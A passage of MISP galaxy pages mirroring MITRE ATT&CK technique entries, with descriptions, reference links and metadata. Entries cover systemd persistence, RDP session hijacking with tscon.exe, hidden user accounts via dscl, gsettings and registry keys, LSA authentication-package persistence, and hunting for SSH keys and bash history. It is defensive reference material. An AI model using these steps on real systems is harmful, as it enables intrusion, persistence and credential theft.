UUID acf8fd2a-dc98-43b4-8d37-64e10728e591 which can be used as unique global reference for Device Lockout - T1629.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1629/002 - webarchive
- https://blog.talosintelligence.com/2018/10/gplayedtrojan.html - webarchive
- https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int) - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html - webarchive
- https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/ - webarchive
- https://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1629.002 |
| kill_chain | ['mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Systemd Service - T1543.002
Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Systemd utilizes unit configuration files with the .service file extension to encode information about a service's process. By default, system level unit files are stored in the /systemd/system directory of the root owned directories (/). User level unit files are stored in the /systemd/user directories of the user owned directories ($HOME).(Citation: lambert systemd 2022)
Inside the .service unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service)
ExecStart,ExecStartPre, andExecStartPostdirectives execute when a service is started manually bysystemctlor on system start if the service is set to automatically start.ExecReloaddirective executes when a service restarts.ExecStop,ExecStopPre, andExecStopPostdirectives execute when a service is stopped.
Adversaries have created new service files, altered the commands a .service file’s directive executes, and modified the user directive a .service file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016)
The .service file’s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions.
Internal MISP references
UUID dfefe2ed-4389-4318-8762-f0272b350a1b which can be used as unique global reference for Systemd Service - T1543.002 in MISP communities and other software using the MISP galaxy
External references
- http://man7.org/linux/man-pages/man1/systemd.1.html - webarchive
- http://www.ouah.org/backdoors.html - webarchive
- https://attack.mitre.org/techniques/T1543/002 - webarchive
- https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/ - webarchive
- https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/ - webarchive
- https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang - webarchive
- https://www.freedesktop.org/software/systemd/man/systemd.service.html - webarchive
- https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1543.002 |
| kill_chain | ['attack-Linux:persistence', 'attack-Linux:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Service: Service Creation', 'Service: Service Modification'] |
| mitre_platforms | ['Linux'] |
Related clusters
To see the related clusters, click here.
Bash History - T1552.003
Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)
Internal MISP references
UUID 8187bd2a-866f-4457-9009-86b0ddedffa3 which can be used as unique global reference for Bash History - T1552.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1552.003 |
| kill_chain | ['attack-Linux:credential-access', 'attack-macOS:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Code Signing - T1553.002
Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike Invalid Code Signature, this activity will result in a valid signature.
Code signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)
Code signing certificates may be used to bypass security policies that require signed code to execute on a system.
Internal MISP references
UUID 32901740-b42c-4fdd-bc02-345b5dc57082 which can be used as unique global reference for Code Signing - T1553.002 in MISP communities and other software using the MISP galaxy
External references
- http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates - webarchive
- https://attack.mitre.org/techniques/T1553/002 - webarchive
- https://eclecticlight.co/2020/11/16/checks-on-executable-code-in-catalina-and-big-sur-a-first-draft/ - webarchive
- https://en.wikipedia.org/wiki/Code_signing - webarchive
- https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1553.002 |
| kill_chain | ['attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Metadata'] |
| mitre_platforms | ['macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
RDP Hijacking - T1563.002
Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)
Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, c:\windows\system32\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)
Internal MISP references
UUID e0033c16-a07e-48aa-8204-7c3ca669998c which can be used as unique global reference for RDP Hijacking - T1563.002 in MISP communities and other software using the MISP galaxy
External references
- http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html - webarchive
- https://attack.mitre.org/techniques/T1563/002 - webarchive
- https://github.com/nccgroup/redsnarf - webarchive
- https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6 - webarchive
- https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1563.002 |
| kill_chain | ['attack-Windows:lateral-movement'] |
| mitre_data_sources | ['Command: Command Execution', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Asymmetric Cryptography - T1573.002
Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.
For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.
Internal MISP references
UUID bf176076-b789-408e-8cba-7275e81c0ada which can be used as unique global reference for Asymmetric Cryptography - T1573.002 in MISP communities and other software using the MISP galaxy
External references
- http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840 - webarchive
- https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - webarchive
- https://attack.mitre.org/techniques/T1573/002 - webarchive
- https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1573.002 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
DNS Server - T1583.002
Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.
By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic (DNS). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)
Internal MISP references
UUID 197ef1b9-e764-46c3-b96c-23f77985dc81 which can be used as unique global reference for DNS Server - T1583.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1583.002 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Search Engines - T1593.002
Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)
Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).
Internal MISP references
UUID 6e561441-8431-4773-a9b8-ccf28ef6a968 which can be used as unique global reference for Search Engines - T1593.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1593.002 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Call Log - T1636.002
Adversaries may utilize standard operating system APIs to gather call log data. On Android, this can be accomplished using the Call Log Content Provider. iOS provides no standard API to access the call log.
If the device has been jailbroken or rooted, an adversary may be able to access the Call Log without the user’s knowledge or approval.
Internal MISP references
UUID 1d1b1558-c833-482e-aabb-d07ef6eae63d which can be used as unique global reference for Call Log - T1636.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1636.002 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Trust Modification - T1484.002
Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.
Manipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge SAML Tokens without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain)
An adversary may also add a new federated identity provider to an identity tenant such as Okta, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023)
Internal MISP references
UUID 24769ab5-14bd-4f4e-a752-cfb185da53ee which can be used as unique global reference for Trust Modification - T1484.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1484/002 - webarchive
- https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed - webarchive
- https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365 - webarchive
- https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml - webarchive
- https://o365blog.com/post/federation-vulnerability/ - webarchive
- https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection - webarchive
- https://us-cert.cisa.gov/ncas/alerts/aa21-008a - webarchive
- https://www.sygnia.co/golden-saml-advisory - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1484.002 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Azure-AD:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-Windows:privilege-escalation', 'attack-Azure-AD:privilege-escalation', 'attack-SaaS:privilege-escalation'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Modification', 'Application Log: Application Log Content', 'Command: Command Execution'] |
| mitre_platforms | ['Windows', 'Azure AD', 'SaaS'] |
Related clusters
To see the related clusters, click here.
TFTP Boot - T1542.005
Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.
Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with Modify System Image to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to ROMMONkit and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)
Internal MISP references
UUID 28abec6c-4443-4b03-8206-07f2e264a6b4 which can be used as unique global reference for TFTP Boot - T1542.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1542/005 - webarchive
- https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 - webarchive
- https://tools.cisco.com/security/center/resources/integrity_assurance.html#13 - webarchive
- https://tools.cisco.com/security/center/resources/integrity_assurance.html#23 - webarchive
- https://tools.cisco.com/security/center/resources/integrity_assurance.html#26 - webarchive
- https://tools.cisco.com/security/center/resources/integrity_assurance.html#35 - webarchive
- https://tools.cisco.com/security/center/resources/integrity_assurance.html#7 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1542.005 |
| kill_chain | ['attack-Network:defense-evasion', 'attack-Network:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'Firmware: Firmware Modification', 'Network Traffic: Network Connection Creation'] |
| mitre_platforms | ['Network'] |
Related clusters
To see the related clusters, click here.
Private Keys - T1552.004
Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.
Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)
When a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)
On network devices, private keys may be exported via Network Device CLI commands such as crypto pki export.(Citation: cisco_deploy_rsa_keys)
Some private keys require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line. These private keys can be used to authenticate to Remote Services like SSH or for use in decrypting other collected files such as email.
Internal MISP references
UUID 60b508a1-6a5e-46b1-821a-9f7b78752abf which can be used as unique global reference for Private Keys - T1552.004 in MISP communities and other software using the MISP galaxy
External references
- https://aadinternals.com/post/deviceidentity/ - webarchive
- https://attack.mitre.org/techniques/T1552/004 - webarchive
- https://en.wikipedia.org/wiki/Public-key_cryptography - webarchive
- https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf - webarchive
- https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token - webarchive
- https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/ - webarchive
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_pki/configuration/xe-17/sec-pki-xe-17-book/sec-deploy-rsa-pki.html#GUID-1CB802D8-9DE3-447F-BECE-CF22F5E11436 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1552.004 |
| kill_chain | ['attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Windows:credential-access', 'attack-Network:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
Hidden Users - T1564.002
Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
In macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users to TRUE in the /Library/Preferences/com.apple.loginwindow plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the Hide500Users key value is set to TRUE, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the dscl utility to create hidden user accounts by setting the IsHidden attribute to 1. Adversaries can also hide a user’s home folder by changing the chflags to hidden.(Citation: Apple Support Hide a User Account)
Adversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)
On Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the gsettings command (ex: sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.
Internal MISP references
UUID 8c4aef43-48d5-49aa-b2af-c0cd58d30c3d which can be used as unique global reference for Hidden Users - T1564.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1564/002 - webarchive
- https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf - webarchive
- https://support.apple.com/en-us/HT203998 - webarchive
- https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/ - webarchive
- https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html - webarchive
- https://www.us-cert.gov/ncas/alerts/TA18-074A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1564.002 |
| kill_chain | ['attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Linux:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Process: Process Creation', 'User Account: User Account Creation', 'User Account: User Account Metadata', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['macOS', 'Windows', 'Linux'] |
Related clusters
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Authentication Package - T1547.002
Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)
Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ with the key value of "Authentication Packages"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.
Internal MISP references
UUID b8cfed42-6a8a-4989-ad72-541af74475ec which can be used as unique global reference for Authentication Package - T1547.002 in MISP communities and other software using the MISP galaxy
External references
- http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html - webarchive
- https://attack.mitre.org/techniques/T1547/002 - webarchive
- https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx - webarchive
- https://technet.microsoft.com/en-us/library/dn408187.aspx - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1547.002 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
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DNS Server - T1584.002
Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.
By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with Digital Certificates to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)
Internal MISP references
UUID c2f59d25-87fe-44aa-8f83-e8e59d077bf5 which can be used as unique global reference for DNS Server - T1584.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1584/002 - webarchive
- https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html - webarchive
- https://blogs.cisco.com/security/talos/angler-domain-shadowing - webarchive
- https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/ - webarchive
- https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html - webarchive
- https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1584.002 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Domain Name: Active DNS', 'Domain Name: Passive DNS'] |
| mitre_platforms | ['PRE'] |
Related clusters
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Client Configurations - T1592.004
Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.
Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).
Internal MISP references
UUID 774ad5bb-2366-4c13-a8a9-65e50b292e7c which can be used as unique global reference for Client Configurations - T1592.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1592.004 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Reflection Amplification - T1498.002
Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.
Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)
Internal MISP references
UUID 36b2a1d7-e09e-49bf-b45e-477076c2ec01 which can be used as unique global reference for Reflection Amplification - T1498.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1498/002 - webarchive
- https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/ - webarchive
- https://blog.cloudflare.com/reflections-on-reflections/ - webarchive
- https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf - webarchive
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf - webarchive
- https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/ - webarchive
- https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1498.002 |
| kill_chain | ['attack-Windows:impact', 'attack-Azure-AD:impact', 'attack-Office-365:impact', 'attack-SaaS:impact', 'attack-IaaS:impact', 'attack-Linux:impact', 'attack-macOS:impact', 'attack-Google-Workspace:impact'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
Securityd Memory - T1555.002
An adversary with root access may gather credentials by reading securityd’s memory. securityd is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through securityd's memory to find the correct sequence of keys to decrypt the user’s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)
In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)
Internal MISP references
UUID 1a80d097-54df-41d8-9d33-34e755ec5e72 which can be used as unique global reference for Securityd Memory - T1555.002 in MISP communities and other software using the MISP galaxy
External references
- http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain - webarchive
- http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way - webarchive
- https://attack.mitre.org/techniques/T1555/002 - webarchive
- https://developer.apple.com/library/archive/documentation/Security/Conceptual/Security_Overview/Architecture/Architecture.html - webarchive
- https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1555.002 |
| kill_chain | ['attack-Linux:credential-access', 'attack-macOS:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Access'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Container API - T1552.007
Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)
An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.
Internal MISP references
UUID f8ef3a62-3f44-40a4-abca-761ab235c436 which can be used as unique global reference for Container API - T1552.007 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1552/007 - webarchive
- https://docs.docker.com/engine/api/v1.41/ - webarchive
- https://kubernetes.io/docs/concepts/overview/kubernetes-api/ - webarchive
- https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1552.007 |
| kill_chain | ['attack-Containers:credential-access'] |
